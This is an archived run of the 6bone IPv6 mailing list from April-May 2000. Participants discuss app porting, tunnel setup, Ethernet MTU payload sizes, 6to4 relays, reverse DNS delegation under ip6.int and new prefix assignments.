and want to send a positive message: porting apps to ipv6 is not difficult. 
We are going to present some details on porting apps to IPv6 as well as an 
example of a project we did. I'm looking for information from developers 
who ported code to IPv6, specially some numbers. If people can give some 
info on their porting work, it would be very useful. Credits will be given 
as appropriate. I can make a summary to the list if people are interested.

For example, I'm providing a simple template to fill out:

application name:
application type (game, network app, office app,...):
language:
total number of lines of code:
lines modified for IPv6:
most important issues found:

Thanks for your help,

Regards, Marc.

PS. anyone has a script that can scan through a freebsd ports directory, 
count the number of lines of code of each app and then count the number of 
lines modified by the patches, all in one line perl or... ? just asking in 
case someone has done that before...

Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Sun Apr 23 22:10:26 2000
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From: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>
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Message-ID: <C82568CB.001BD3E4.00@NTTMSCCJ02.nttmsc.com.my>
Date: Mon, 24 Apr 2000 14:03:56 +0900
Subject: Payload for IP over Ethernet : IPv6 over IPv4
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I have question/verification on IP/TCP payload size

As in RFC 1933 ( for tunneling methods ),
MTU for Ethernet is 1514 bytes and 14 bytes is for ethernet header leaves 1500
bytes for
payload.

So it looks as follows for TCP for IPv4 , IPv6 , IPv6 over v4 and IPv4 over v6

                     v4        v6        v6 over v4     v4 over v6

IP Header           20        40                    20       40
IP Payload               1480       1460                       1480
1460
         Header
(for v6 )            40   (for v4)          20
         Payload
1440                      1440
TCP header                    20              20                  20        20
TCP payload                    1460      1440                       1420
1420
Any options ...            xxx     xxx                       xxx
xxx
(Actual payload)      yyy       yyy                                        yyy
yyy


Am I right !!!

thanks in advance.

-ettikan



From 6bone-owner  Mon Apr 24 06:16:34 2000
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Hi!

I got my ipv6 adress vom freenet6 and the script for linux (i have
kernel 2.2.10 with ipv6 module) but when i start that script:
eth1 is my device for internet and eth0 for lan.

ifconfig sit0 up
ifconfig sit0 tunnel ::206.123.31.102
ifconfig sit1 up
ifconfig eth1 add 3ffe:b00:c18:1fff:0:0:0:37d
route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1


I cant ping6 or tracerroute6 anybody.
Any Ideas?




From 6bone-owner  Mon Apr 24 08:28:58 2000
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Date: Mon, 24 Apr 2000 08:14:34 -0700
To: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>, Philip Smith <pfs@cisco.com>
From: Bob Fink <fink@es.net>
Subject: Re: Question of AS
Cc: ksbn@kt.co.kr, 6Bone-KR <6bone-kr@6bone.ne.kr>,
        6Bone(WIDE) <6bone-jp@wide.ad.jp>, 6bone <6bone@ISI.EDU>
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At 10:15 AM 4/24/2000 +0900, Ettikan Kandasamy wrote:


>Does this is accepted by the RIRs ????

I believe they support this.


Bob

===
>Philip Smith <pfs@cisco.com> on 04/22/2000 11:29:19 AM
>
>To:   ksbn@kt.co.kr
>cc:   6Bone-KR <6bone-kr@6bone.ne.kr>, 6Bone(WIDE) <6bone-jp@wide.ad.jp>,
>       6bone(Content-type: text/plain; charset=gb2312
>Content-Disposition: inline
>X-MIME-Autoconverted: from 8bit to base64 by zephyr.isi.edu id SAB03844
>
>$BNO(B) <6bone@ISI.EDU> (bcc: Ettikan Kandasamy/NTTMSC)
>
>Subject:  Re: Question of AS
>
>
>
>  From my view of the 6bone, most participants seem to be using the ASN they
>use for their IPv4 backbones.
>
>I'd also suspect that in the longer run it would ease migration from IPv4
>only backbone to an IPv6 capable backbone if you used the same ASN. Those
>organisations I have been involved with certainly are adopting that
>strategy. (Their argument is that they want the IPv6 capable part of their
>infrastructure to be an integral part of the existing infrastructure, not a
>separate network they have to somehow peer with.)
>
>philip
>--
>
>At 10:44 22/04/00 +0900, ksb wrote:
> >How are you?
> >
> >I have used same IPv6 AS number for IPv4 on
> >my experiment network.
> >Then I have a question for the  IPv6 AS number.
> >
> >What is recommend that same IPv6 AS munber
> >for IPv4   or    different IPv6 AS number for using
> >IPv4?
> >
> >Thanks,
> >ksb
> >
> >--
> >   Kim, Sahng-Beom / Korea Telecom
> >   TEL :    +82-42-870-8322
> >   FAX :    +82-42-870-8329
> >   E-mail :  ksbn@kt.co.kr
> >--
> >
> >
> >
>
>--------------------------------------------------------
>Philip Smith       vm: 6178202       ph: +61 7 3238 8202
>Consulting Engineering, Office of the CTO, Cisco Systems
>--------------------------------------------------------
>


From 6bone-owner  Mon Apr 24 08:53:26 2000
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Date: Mon, 24 Apr 2000 11:26:43 -0400
To: Wildandi <wildandi@scene.at>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: configuration problem
Cc: support@freenet6.net
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Please send your questions on freenet6 to support@freenet6.net, someone 
will help you out. (unless you have a more generic question to address!)

Marc.

At/À 15:31 2000-04-24 +0200, Wildandi you wrote/vous écriviez:
>Hi!
>
>I got my ipv6 adress vom freenet6 and the script for linux (i have
>kernel 2.2.10 with ipv6 module) but when i start that script:
>eth1 is my device for internet and eth0 for lan.
>
>ifconfig sit0 up
>ifconfig sit0 tunnel ::206.123.31.102
>ifconfig sit1 up
>ifconfig eth1 add 3ffe:b00:c18:1fff:0:0:0:37d
>route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1
>
>
>I cant ping6 or tracerroute6 anybody.
>Any Ideas?
>
>


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Mon Apr 24 11:44:50 2000
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Hi!

Thanks to all who helped be before to get my ipv6 working! It works fine
with freenet6.
But now i've got an 0/80 and need to know how to configure an ipv6
router under openbsd.
Can somebody help me to configure it?

Greets

Andi


From 6bone-owner  Mon Apr 24 12:30:36 2000
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Date: Mon, 24 Apr 2000 15:30:08 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Wildandi <wildandi@scene.at>
cc: 6bone@ISI.EDU, support@freenet6.net
Subject: Re: configuration problem
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On Mon, 24 Apr 2000, Marc Blanchet wrote:

> >I got my ipv6 adress vom freenet6 and the script for linux (i have
> >kernel 2.2.10 with ipv6 module) but when i start that script:
> >eth1 is my device for internet and eth0 for lan.
> >
> >ifconfig sit0 up
> >ifconfig sit0 tunnel ::206.123.31.102
> >ifconfig sit1 up
> >ifconfig eth1 add 3ffe:b00:c18:1fff:0:0:0:37d
> >route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1

Did you say "ipv6 as module"?  Try compiling the kernel with IPv6
built-in.  I have heard of problems related to IPv6 as a module.

wfms


From 6bone-owner  Mon Apr 24 18:45:53 2000
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Date: Mon, 24 Apr 2000 18:45:18 -0700
To: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>
From: Steve Deering <deering@cisco.com>
Subject: Re: Payload for IP over Ethernet : IPv6 over IPv4
Cc: Bob.Gilligan@Eng.Sun.COM, Erik.Nordmark@Eng.Sun.COM, 6bone@ISI.EDU,
        jinmei@isl.rdc.toshiba.co.jp
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At 2:03 PM +0900 4/24/00, Ettikan Kandasamy wrote:
>MTU for Ethernet is 1514 bytes and 14 bytes is for ethernet header leaves
>1500 bytes for payload.

A technical nit:  As used by the IP community, the MTU of a link refers
to the maximum IP packet size that can be transmitted on the link without
doing fragmentation.  Thus, the MTU of Ethernet is 1500 bytes, not 1514.

>So it looks as follows for TCP for IPv4 , IPv6 , IPv6 over v4 and IPv4 over v6
>
>                     v4        v6        v6 over v4     v4 over v6
>
>IP Header           20        40                    20       40
>IP Payload               1480       1460                       1480
>1460
>         Header
>(for v6 )            40   (for v4)          20
>         Payload
>1440                      1440
>TCP header                    20              20                  20        20
>TCP payload                    1460      1440                       1420
>1420
>Any options ...            xxx     xxx                       xxx
>xxx
>(Actual payload)      yyy       yyy                                        yyy
>yyy
>
>
>Am I right !!!

Because of inconsistent spacing and random line-breaking, the columns in
your table don't line up and I cannot understand it.  Please send again,
but when you type it in, use a fixed-width font, no tab characters, and
a carriage return at the end of each line in the table.

Steve


From 6bone-owner  Mon Apr 24 19:18:17 2000
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From: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>
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Date: Tue, 25 Apr 2000 11:11:49 +0900
Subject: Re: Payload for IP over Ethernet : IPv6 over IPv4
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Hello Steve,

     I'm sorry for the improper text display (due to my mail editor).
With 1500 bytes for ether IP traffic,

>So it looks as follows for TCP for IPv4 ,
IPv6 , IPv6 over v4 and IPv4 over v6
>
>                   v4     v6  v6ov4  v4ov6
>
>IP Header          20     40    20    40
>IP Payload       1480   1460  1480  1460
>     Header                     40    20
>     Payload                  1440  1440
>TCP header         20     20    20    20
>TCP payload      1460   1440  1420  1420
>Any options ...   xxx   xxx   xxx    xxx
>(Actual payload)  yyy   yyy   yyy    yyy

-ettikan



From 6bone-owner  Mon Apr 24 21:13:35 2000
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Date: Mon, 24 Apr 2000 21:14:03 -0700
To: "Ettikan Kandasamy" <ettikan@nttmsc.com.my>
From: Steve Deering <deering@cisco.com>
Subject: Re: Payload for IP over Ethernet : IPv6 over IPv4
Cc: Erik.Nordmark@Eng.Sun.COM, 6bone@ISI.EDU
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At 11:11 AM +0900 4/25/00, Ettikan Kandasamy wrote:
> >So it looks as follows for TCP for IPv4 ,
>IPv6 , IPv6 over v4 and IPv4 over v6
> >
> >                   v4     v6  v6ov4  v4ov6
> >
> >IP Header          20     40    20    40
> >IP Payload       1480   1460  1480  1460
> >     Header                     40    20
> >     Payload                  1440  1440
> >TCP header         20     20    20    20
> >TCP payload      1460   1440  1420  1420
> >Any options ...   xxx   xxx   xxx    xxx
> >(Actual payload)  yyy   yyy   yyy    yyy

Yes, that looks right (for the specific case of Ethernet MTU), with the
qualification that "any options" could by IPv4 options, IPv6 extension
headers, and/or TCP options.

Steve


From 6bone-owner  Tue Apr 25 17:22:27 2000
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From: nsayer@quack.kfu.com
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To: 6bone@ISI.EDU
Subject: Stupid question - need 6to4 relay router?
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I suppose this doesn't really have anything to do with the 6bone,
but I can't find the answer in the FAQs I've been able to find.

I have set up 6to4, but it appears that in order to reach
non 2002:: addresses I need to find a relay router willing to
act as my inet6 default route. Is there a list of those somewhere?

From 6bone-owner  Thu Apr 27 10:24:59 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: configuring our site for ip6.int. DNS reverse mapping
To: vchipitsyn@acm.org (Vitali A. Chipitsyn)
Date: Thu, 27 Apr 2000 10:24:28 -0700 (PDT)
Cc: 6bone@ISI.EDU (6bone), users@ipv6.org
In-Reply-To: <EXECMAIL.1000427131636.C@dolphin.oak.cats.ohiou.edu > from "Vitali A. Chipitsyn" at Apr 27, 2000 01:16:36 PM
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% 
% 
% Hello,
% 
% We have a BIND-9.0.0b2 DNS server that is configured with IPv6 support 
% (using A6 and DNAME RRs). We think the server is in a relatively good 
% shape. Now we need to setup records under the ip6.int. domain to permit 
% reverse IPv6 address resolution for our domains. 
% 
% We would like to know who we should contact. We have contacted a couple 
% of people a week ago, but so far they have been unresponsive. 
% 
% Thank you.
% 
% --vc

You should contact the folks who delegated you IPv6 address space.


-- 
--bill

From 6bone-owner  Thu Apr 27 10:36:05 2000
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To: "'Bill Manning'" <bmanning@ISI.EDU>, vchipitsyn@acm.org
Cc: 6bone@ISI.EDU, users@ipv6.org
Subject: RE: configuring our site for ip6.int. DNS reverse mapping
Date: Thu, 27 Apr 2000 10:28:56 -0700
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What about for 6to4 address space?

> -----Original Message-----
> From: Bill Manning [mailto:bmanning@ISI.EDU]
> Sent: Thursday, April 27, 2000 10:24 AM
> To: vchipitsyn@acm.org
> Cc: 6bone@ISI.EDU; users@ipv6.org
> Subject: Re: configuring our site for ip6.int. DNS reverse mapping
> 
> 
> % 
> % 
> % Hello,
> % 
> % We have a BIND-9.0.0b2 DNS server that is configured with 
> IPv6 support 
> % (using A6 and DNAME RRs). We think the server is in a 
> relatively good 
> % shape. Now we need to setup records under the ip6.int. 
> domain to permit 
> % reverse IPv6 address resolution for our domains. 
> % 
> % We would like to know who we should contact. We have 
> contacted a couple 
> % of people a week ago, but so far they have been unresponsive. 
> % 
> % Thank you.
> % 
> % --vc
> 
> You should contact the folks who delegated you IPv6 address space.
> 
> 
> -- 
> --bill
> 
> ---------------------------------------------------------------------
> The IPv6 Users Mailing List
> Unsubscribe by sending "unsubscribe users" to majordomo@ipv6.org
> 

From 6bone-owner  Thu Apr 27 10:42:30 2000
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From: Richard Draves <richdr@microsoft.com>
To: nsayer@quack.kfu.com
Cc: 6bone <6bone@ISI.EDU>
Subject: RE: Stupid question - need 6to4 relay router?
Date: Thu, 27 Apr 2000 09:13:13 -0700
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You can use 6to4.ipv6.microsoft.com.

> -----Original Message-----
> From: nsayer@quack.kfu.com [mailto:nsayer@quack.kfu.com]
> Sent: Tuesday, April 25, 2000 5:22 PM
> To: 6bone@ISI.EDU
> Subject: Stupid question - need 6to4 relay router?
> 
> 
> I suppose this doesn't really have anything to do with the 6bone,
> but I can't find the answer in the FAQs I've been able to find.
> 
> I have set up 6to4, but it appears that in order to reach
> non 2002:: addresses I need to find a relay router willing to
> act as my inet6 default route. Is there a list of those somewhere?
> 

From 6bone-owner  Thu Apr 27 11:30:58 2000
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From: "Francisco, Diego" <FRANCISCOD@advance.com.ar>
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Subject: Stupid question - need DNS?
Date: Thu, 27 Apr 2000 15:29:17 -0300
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I can't find an ipv6 DNS ?

From 6bone-owner  Thu Apr 27 15:04:33 2000
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Date: Thu, 27 Apr 2000 15:04:51 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA assigned to UUNET-US
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UUNET-US has requested a pTLA based on their previous experience with UUNET-UK.

As they fully meet our criteria, I have taken the liberty of issuing them a 
pTLA:

3FFE:8090::/28

<http://whois.6bone.net/cgi-bin/whois?uunet-us>


Thanks,

Bob


From 6bone-owner  Thu Apr 27 18:11:28 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: new 6bone pTLA assigned to UUNET-US
To: fink@es.net (Bob Fink)
Date: Thu, 27 Apr 2000 18:11:23 -0700 (PDT)
Cc: 6bone@ISI.EDU (6BONE List)
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% 
% UUNET-US has requested a pTLA based on their previous experience with UUNET-UK.
% 
% As they fully meet our criteria, I have taken the liberty of issuing them a 
% pTLA:
% 
% 3FFE:8090::/28
% 
% <http://whois.6bone.net/cgi-bin/whois?uunet-us>
% 
% Thanks,
% Bob

	Did they happen to indicate which nameservers will be associated
	with this delegation?


--bill

From 6bone-owner  Thu Apr 27 21:11:55 2000
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To: Bill Manning <bmanning@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: new 6bone pTLA assigned to UUNET-US
Cc: 6bone@ISI.EDU (6BONE List)
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Bill,

At 06:11 PM 4/27/2000 -0700, Bill Manning wrote:
>%
>% UUNET-US has requested a pTLA based on their previous experience with 
>UUNET-UK.
>%
>% As they fully meet our criteria, I have taken the liberty of issuing them a
>% pTLA:
>%
>% 3FFE:8090::/28
>%
>% <http://whois.6bone.net/cgi-bin/whois?uunet-us>
>%
>% Thanks,
>% Bob
>
>         Did they happen to indicate which nameservers will be associated
>         with this delegation?


Please just ask "Chris P. Ross" <cross@eng.us.uu.net> directly.


Thanks,

Bob


From 6bone-owner  Thu Apr 27 22:48:26 2000
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Date: Thu, 27 Apr 2000 22:48:06 -0700
From: Nick Sayer <nsayer@quack.kfu.com>
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To: Richard Draves <richdr@microsoft.com>
CC: 6bone@ISI.EDU
Subject: Re: configuring our site for ip6.int. DNS reverse mapping
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Richard Draves wrote:
> 
> What about for 6to4 address space?

[boldly leaping forward]

If no one else steps forward, I would be willing to conquer this job. I
can cobble together
some scripts and some web that will keep track of 6to4 NS records for
the ip6.int space.
Of course, someone would have to delegate the 2.0.0.2.ip6.int. level to
me.

1. Please don't hate me if this has already been done and I am speaking
out of turn.

2. I don't think this is quite as daunting a task as it may at first
appear. It is likely
in my mind that the number of 6to4 routers will be on the order of 1 per
site and that
they are likely to end up being phased out over time anyway. I further
suspect that the number
of such relays at the moment is low. Further, there is an obvious 1:1
relationship between
6to4 prefixes, 6to4 routers and 2.0.0.2.ip6.int zones. And if in the
future the task becomes
more daunting rather than less, the delegations can be broken up.

3. Giving control of this to the folks who manage the in-addr.arpa
zones, namely the IPv4 ISPs
is... (how shall I put it?) unlikely to result in forward moving action,
as many many many ISPs
are as yet clueless about IPv6.

From 6bone-owner  Sun Apr 30 09:05:40 2000
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Date: Sun, 30 Apr 2000 09:05:52 -0700
From: Nick Sayer <nsayer@quack.kfu.com>
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To: Simon Leinen <simon@limmat.switch.ch>
CC: 6bone@ISI.EDU
Subject: Re: inverse mapping for 6to4 [Re: configuring our site for ip6.int...]
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Simon Leinen wrote:
> 
> >>>>> "ns" == Nick Sayer <nsayer@quack.kfu.com> writes:
> > Richard Draves wrote:
> >>
> >> What about for 6to4 address space?
> 
> > [boldly leaping forward]
> 
> > If no one else steps forward, I would be willing to conquer this
> > job. I can cobble together some scripts and some web that will keep
> > track of 6to4 NS records for the ip6.int space.
> 
> Personally I'd find it more elegant/useful to delegate 2.0.0.2.ip6.int
> to nameservers that map PTR requests to CNAME pointers into the
> IN-ADDR.ARPA space, e.g. for the 6to4 address
> 
>  2002:823b:1d2:4:a00:20ff:fe9c:792b
                   ^^^^^^^^
<pointless>Use Suns much? :-)</pointless>

>      ^^^^^^^^
> <=> 130.59.1.210 (6to4 gateway)
> 
> one might be redirected as follows:
> 
> dig ptr -x b.2.9.7.c.9.e.f.f.f.0.2.0.0.a.0.4.0.0.0.2.d.1.0.b.3.2.8.2.0.0.2.IP6.INT.
>  => IN CNAME b.2.9.7.c.9.e.f.f.f.0.2.0.0.a.0.4.0.0.0.6TO4.210.1.59.130.IN-ADDR.ARPA.
> 
> That way the owner of the inverse mapping for 130.59.1.210 could
> simply add PTR records or sub-delegations for the 6to4 addresses under
> that prefix.
> 
> Ideally, this style of automatic redirection could be combined with
> traditional delegations to accomodate situations where the 6to4 and
> IPv4 inverse mappings cannot be coordinated for some reason (such as
> someone at a University trying to set up a properly inverse-mapped
> 6to4 cloud in a lab, and not getting any cooperation from the
> hostmaster at Computing Services who is in charge of the IPv4 inverse
> mapping).

There are 2^32 IPv4 addresses, and only a tiny fraction of them are
going to
be represented in 6to4 prefixes. Additionally, 6to4 is only a
compatibility
hack whose useful lifespan is finite and (we all hope) short. The path
of
least resistance is to simply manage the zone for the few years it will
remain
relevant.

I allege that given the cluefullness most ISPs have lacked so far about
IPv6 (at
least on this continent), asking them to subdelegate in-addr.arpa space
(when many
of them can't even set up that space correctly) is a losing proposition.
Given
that premise, there will be more exception cases (explicit declarations
to replace
"normal" delegations under the control of competent ISPs) than not.

Evem if you take the tack that the 2.0.0.2.ip6.int zone will be
automatically filled
with cname or ns records that are then overridden with exception cases,
a whole new
zone transfer mechanism must be created for those few servers that will
preside over
the 2.0.0.2.ip6.int zone. If not, then the mechanism will consist of
transfering
2^32 sets of NS or CNAME records, which would probably be over 99%
garbage.


> 
> If this is deemed a good idea, someone should write an I-D about it
> and hack BIND or some other DNS server as a proof of concept.

I think that's way too much effort. Much simpler to just manage the zone
by hand.

> 
> > Of course, someone would have to delegate the 2.0.0.2.ip6.int. level
> > to me.
> 
> It seems that this domain has been delegated already.

Part of the reason I am speaking up is that I can find no way to enter
delegations into that zone. If there is a way, then I would gladly
shut up about it. I do believe the delegatees of that zone have some
burden to say _something_ with regards to the procedure for putting
NS records in the zone. Even if that something is "Be patient. We're
working on a procedure right now." :-)

> 
> > 2. I don't think this is quite as daunting a task as it may at first
> > appear. It is likely in my mind that the number of 6to4 routers will
> > be on the order of 1 per site and that they are likely to end up
> > being phased out over time anyway. I further suspect that the number
> > of such relays at the moment is low. Further, there is an obvious
> > 1:1 relationship between 6to4 prefixes, 6to4 routers and
> > 2.0.0.2.ip6.int zones. And if in the future the task becomes more
> > daunting rather than less, the delegations can be broken up.
> 
> One of the nice things about 6to4 is that it requires very little
> administrative work to get connectivity (at least to other 6to4
> networks).  If 6to4 inverse mappings could be piggybacked on IPv4
> inverse delegations, we could save people the work of contacting an
> external entity for that.

It would indeed be nice if it was automatic, as is the 6to4
prefix allocation. But there's no automatic way to decide which
IPv4 addresses are 6to4 routers and which aren't. And the overwhelming
majority of them won't be.

From 6bone-owner  Sun Apr 30 14:18:07 2000
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200004302118.OAA29656@zephyr.isi.edu>
Subject: Re: inverse mapping for 6to4 [Re: configuring our site for ip6.int...]
To: nsayer@quack.kfu.com (Nick Sayer)
Date: Sun, 30 Apr 2000 14:18:00 -0700 (PDT)
Cc: simon@limmat.switch.ch (Simon Leinen), 6bone@ISI.EDU
In-Reply-To: <390C59E0.151F3306@quack.kfu.com> from "Nick Sayer" at Apr 30, 2000 09:05:52 AM
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% > > Of course, someone would have to delegate the 2.0.0.2.ip6.int. level
% > > to me.
% > 
% > It seems that this domain has been delegated already.
% 
% Part of the reason I am speaking up is that I can find no way to enter
% delegations into that zone. If there is a way, then I would gladly
% shut up about it. I do believe the delegatees of that zone have some
% burden to say _something_ with regards to the procedure for putting
% NS records in the zone. Even if that something is "Be patient. We're
% working on a procedure right now." :-)

	Ok, so tell me what the proceedure ought to be.
	The prefix was delegated w/o explicit instructions
	on how the tree should be mapped.
 
% It would indeed be nice if it was automatic, as is the 6to4
% prefix allocation. But there's no automatic way to decide which
% IPv4 addresses are 6to4 routers and which aren't. And the overwhelming
% majority of them won't be.

	Would one like a web page that lets this occur?

-- 
--bill

From 6bone-owner  Tue May  2 04:23:50 2000
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Date: Tue, 2 May 2000 13:24:08 +0200 (MET DST)
From: Xavier Mertens <xavier@euro.net>
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To: 6bone@ISI.EDU
Subject: IPv6 tunnel & NAT
Message-ID: <Pine.GSO.4.21.0005021322520.3056-100000@caolila>
Organization: EuroNet Internet NOC
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Hi *,

I had a Linux box running an IPv6 tunnel to a Cisco.
Now my box is behind a router with NAT!

Is there a way to re-setup my tunnel to the Cisco even with the address
translation?

TIA!

--
Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
                                                  about who it makes friends
                                                  with."


From 6bone-owner  Tue May  2 06:10:34 2000
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Date: Tue, 2 May 2000 14:10:41 +0100
From: Mark Thompson <mkt@ecs.soton.ac.uk>
To: Xavier Mertens <xavier@euro.net>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 tunnel & NAT
Message-ID: <20000502141041.N1933@ecs.soton.ac.uk>
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On 13:24(GMT) 02-05-00, Xavier Mertens wrote:
> I had a Linux box running an IPv6 tunnel to a Cisco.
> Now my box is behind a router with NAT!
> 
> Is there a way to re-setup my tunnel to the Cisco even with the address
> translation?

Short of scripting your config on the Cisco, not really. (Yuck. I didn't
just suggest that!)

A solution would be to move away from using the Cisco as a tunnel
endpoint and run something like CSELT's tunnel broker on a BSD box -
dynamically creating tunnels as and when you need them.

... or use a different transition technique.


1 cent spent,

Mark/

-- 
iam: networks and distributed systems

From 6bone-owner  Tue May  2 06:45:33 2000
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From: "Francisco, Diego" <FRANCISCOD@advance.com.ar>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Stupid question - need DNS? (2)
Date: Tue, 2 May 2000 10:43:37 -0300 
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Pardon by the shortage of my explanation which happens is that I am
very bad for ingles, which I need to know is I number IP of some DNS that
turns for example http://altavista.ipv6.digital.com to me into ffef:1cd::1.
And if somebody knows like forming it in a 2.2.14 Linux serious ideal. 
I connect myself through freenet6 with ipv4 on ipv6. 

Thank you very much.

in spanish:
Perdón por la escasez de mi explicación lo que pasa es que soy muy malo para
el ingles, lo que necesito saber es el numero IP de algún DNS que me
convierta por ejemplo http://altavista.ipv6.digital.com/  en ffef:1cd::1.
Y si alguien sabe como configurarlo en un Linux 2.2.14 seria ideal.
Yo me conecto a través de freenet6 con ipv4 sobre ipv6.

Muchas Gracias.

From 6bone-owner  Tue May  2 19:27:58 2000
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Date: Wed, 03 May 2000 11:38:08 +0900
From: ksb <ksbn@kt.co.kr>
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How are you?

What IPv4/IPv6 translators(implemented) can we use now?

Thanks.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--




From 6bone-owner  Wed May  3 14:57:09 2000
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Sprint's 6bone main core is experiencing an outage, partially due to a power
hit, and partially due to archaic hardware.  We will be bringing service back
online as soon as possible. Please bear with us though this outage.
(ASN6175).

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e gbqq ngg una {e hgr bpu plxyne? (OFOTD)


From 6bone-owner  Thu May  4 10:48:49 2000
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From: "Pedro Revriego" <revirieg@hotmail.com>
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Subject: Access to the 6bone in Spain
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Hi,

I am looking for a conection to the 6bone in Spain.

It is for a private company (we can not connect to  REDIRIS).

Can anyone help us ???


Best Regards,


Pedro Reviriego

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


From 6bone-owner  Fri May  5 08:56:43 2000
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Date: Fri, 5 May 2000 11:56:33 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
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All,
	I have compiled and installed ftpmail on our biggish FTP site.  It
is a linux box with IPv6 enabled in the kernel running sendmail compiled
with IPv6 support.  What I'd like to have is for folks to send email to
ftpmail@ftp.ipv6.crc.ca to coax some bulk IPv6 traffic out of it.  To
fetch something, just do this in the body of the message:

open ftp.crc.ca anonymous email_address@someplace.edu
get /some/file.tar.gz

Information on what packages are available is located at:

	ftp://ftp.crc.ca/STATUS.html

Yeah, I know, I should install a working IPv6 FTP server, but that's RSN.
I'm working on getting an apache built that will make the archive 
available via:

	http://ftp.ipv6.crc.ca/test/

In theory anyways.

Thanks, and have fun.

wfms





From 6bone-owner  Fri May  5 20:22:43 2000
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From: Peter Abrahamsen <phae@uswest.net>
To: "Francisco, Diego" <FRANCISCOD@advance.com.ar>,
        "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: Stupid question - need DNS? (2)
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In-Reply-To: <96A02275DD84D311B765006008C50AEA75EDF6@advtal10.inadvance.com.ar>; from FRANCISCOD@advance.com.ar on Tue, May 02, 2000 at 10:43:37AM -0300
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On Tue, May 02, 2000 at 10:43:37AM -0300, Francisco, Diego wrote:
> Perdón por la escasez de mi explicación lo que pasa es que soy muy malo para

No te preocupes, señor :)

> el ingles, lo que necesito saber es el numero IP de algún DNS que me
> convierta por ejemplo http://altavista.ipv6.digital.com/  en ffef:1cd::1.

El que usas funcionará. Uso el de mi ISP, y puedo decir por ejemplo:
0 (20:06)(root@peidran)(~)# host -t AAAA altavista.ipv6.digital.com
altavista.ipv6.digital.com      AAAA    3FFE:1200:2001:1:8000:0:0:1

> Y si alguien sabe como configurarlo en un Linux 2.2.14 seria ideal.
> Yo me conecto a través de freenet6 con ipv4 sobre ipv6.

¿Estás seguro que las copias tuyas de dnsutils y netstd incluyen ipv6? Querrás
ver el HOWTO de ipv6 para linux:
http://www.bieringer.de/linux/IPv6/
Lo siento, pero no hay versión española.

Peter

From 6bone-owner  Mon May  8 23:57:35 2000
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From: pilot0920 <pilot0920@sina.com>
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I have joined the 6bone mail list, and I want to join the 6bone.
So what should I do the next step?
How and where can I find a point on the 6bone to attach to?

______________________________________


===================================================================
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn 


From 6bone-owner  Tue May  9 02:47:38 2000
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On Tue, 9 May -1, pilot0920 wrote:

> I have joined the 6bone mail list, and I want to join the 6bone.
> So what should I do the next step?
> How and where can I find a point on the 6bone to attach to?

Read all about it at the 6bone home page:
http://www.6bone.net/

Pete.


From 6bone-owner  Thu May 11 07:42:46 2000
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Date: Thu, 11 May 2000 10:42:37 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: 6bone@ISI.EDU
Subject: Announcing biggish FTP archive reachable via IPv6
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Greetings,

	Could folks kindly try aiming their IPv6-enabled clients at
bear.dgim.crc.ca, which is a Solaris 8 box housing ftp.crc.ca's FTP
archive, and let me know if any of you can successfully download stuff?
This is another case where I know if *I* use it, it always works. :-)
But I'm paranoid, so I'm asking.  Also, if folks like to mirror any part
of the archive _via IPv6_ it would be most appreciated (and of course,
you're welcome to do so), as I'd like to get some numbers out of the
router and box.

Thanks in advance and enjoy!

wfms


From 6bone-owner  Thu May 11 09:47:47 2000
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Date: Thu, 11 May 2000 12:47:00 -0400 (EDT)
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To: Simon Leinen <simon@limmat.switch.ch>
cc: 6bone@ISI.EDU
Subject: Re: Announcing biggish FTP archive reachable via IPv6
In-Reply-To: <aawvl16ovp.fsf@limmat.switch.ch>
Message-ID: <Pine.GSO.3.96LJ1.1b7.1000511124638.5829A-100000@ryouko.dgim.crc.ca>
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On 11 May 2000, Simon Leinen wrote:

> Hi,
> 
> what's the IPv6 address of that box?

Sigh.  Forgot "make reload"

bear            IN      AAAA    2001:410:401:8::2

> -- 
> Simon.
> 
> $ dig aaaa bear.dgim.crc.ca
> 
> ; <<>> DiG 8.2 <<>> aaaa bear.dgim.crc.ca 
> ;; res options: init recurs defnam dnsrch
> ;; got answer:
> ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4
